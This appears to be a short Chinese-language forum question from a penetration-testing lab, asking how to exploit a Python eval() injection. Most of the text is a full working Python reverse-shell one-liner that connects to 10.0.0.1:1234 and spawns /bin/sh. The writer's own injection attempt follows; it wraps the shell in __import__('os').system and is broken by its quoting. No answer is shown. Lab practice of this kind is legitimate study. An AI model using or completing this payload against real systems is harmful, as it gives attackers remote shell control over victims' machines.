我正在一个渗透测试实验室工作。我需要利用一个 Python eval() 函数。
它像是
eval('%s>1',payload)
我需要执行一个 Python 反向 shell 脚本作为有效负载。这是
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
我正在尝试
eval('%s >1' "__import__('os').system('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'")
不知道如何导入所有这些模块并执行它。
任何帮助表示赞赏。